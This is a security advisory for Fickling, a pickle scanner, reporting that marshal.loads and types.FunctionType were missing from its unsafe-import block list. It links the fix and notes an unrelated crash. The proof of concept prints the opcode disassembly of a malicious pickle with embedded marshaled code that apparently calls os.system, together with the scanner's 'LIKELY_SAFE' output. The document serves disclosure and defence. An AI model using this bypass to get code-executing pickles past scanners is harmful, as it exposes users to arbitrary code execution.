PYSEC-2026-1368

Fickling Assessment

Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.

Original report

Summary

There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.

Details

Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.

PoC

The following is a disassembled view of a malicious pickle file that uses these modules:

    0: \x80 PROTO      4
    2: \x95 FRAME      0
   11: \x8c SHORT_BINUNICODE 'marshal'
   20: \x8c SHORT_BINUNICODE 'loads'
   27: \x93 STACK_GLOBAL
   28: \x94 MEMOIZE    (as 0)
   29: h    BINGET     0
   31: C    SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
  198: \x85 TUPLE1
  199: R    REDUCE
  200: \x94 MEMOIZE    (as 1)
  201: \x8c SHORT_BINUNICODE 'types'
  208: \x8c SHORT_BINUNICODE 'FunctionType'
  222: \x93 STACK_GLOBAL
  223: \x94 MEMOIZE    (as 2)
  224: h    BINGET     2
  226: h    BINGET     1
  228: }    EMPTY_DICT
  229: \x86 TUPLE2
  230: R    REDUCE
  231: \x94 MEMOIZE    (as 3)
  232: h    BINGET     3
  234: )    EMPTY_TUPLE
  235: R    REDUCE
  236: \x94 MEMOIZE    (as 4)
  237: \x8c SHORT_BINUNICODE 'gottem'
  245: b    BUILD
  246: .    STOP

When analyzing this modified file, safety_result.json shows:

{
    "severity": "LIKELY_SAFE",
    "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
    "detailed_results": {}
}

Furthermore, when we run fickling -s <path_to_malicious_file>, we also encounter this error:

Traceback (most recent call last):
  File "<path>/fickling", line 7, in <module>
    sys.exit(main())
             ^^^^^^
  File "<path>/fickling/cli.py", line 163, in main
    safety_results = check_safety(pickled, json_output_path=json_output_path)
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 408, in check_safety
    results = analyzer.analyze(pickled)
              ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 65, in analyze
    context.analyze(a)
  File "<path>/fickling/analysis.py", line 31, in analyze
    results = list(analysis.analyze(self))
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/analysis.py", line 196, in analyze
    for node in context.pickled.non_standard_imports():
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 826, in non_standard_imports
    for node in self.properties.imports:
                ^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 777, in properties
    self._properties.visit(self.ast)
                           ^^^^^^^^
  File "<path>/fickling/fickle.py", line 833, in ast
    self._ast = Interpreter.interpret(self)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 1001, in interpret
    return Interpreter(pickled).to_ast()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<path>/fickling/fickle.py", line 927, in to_ast
    self.run()
  File "<path>/fickling/fickle.py", line 971, in run
    self.step()
  File "<path>/fickling/fickle.py", line 989, in step
    opcode.run(self)
  File "<path>/fickling/fickle.py", line 1767, in run
    raise ValueError("Exhausted the stack while searching for a MarkObject!")
ValueError: Exhausted the stack while searching for a MarkObject!

Impact

This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.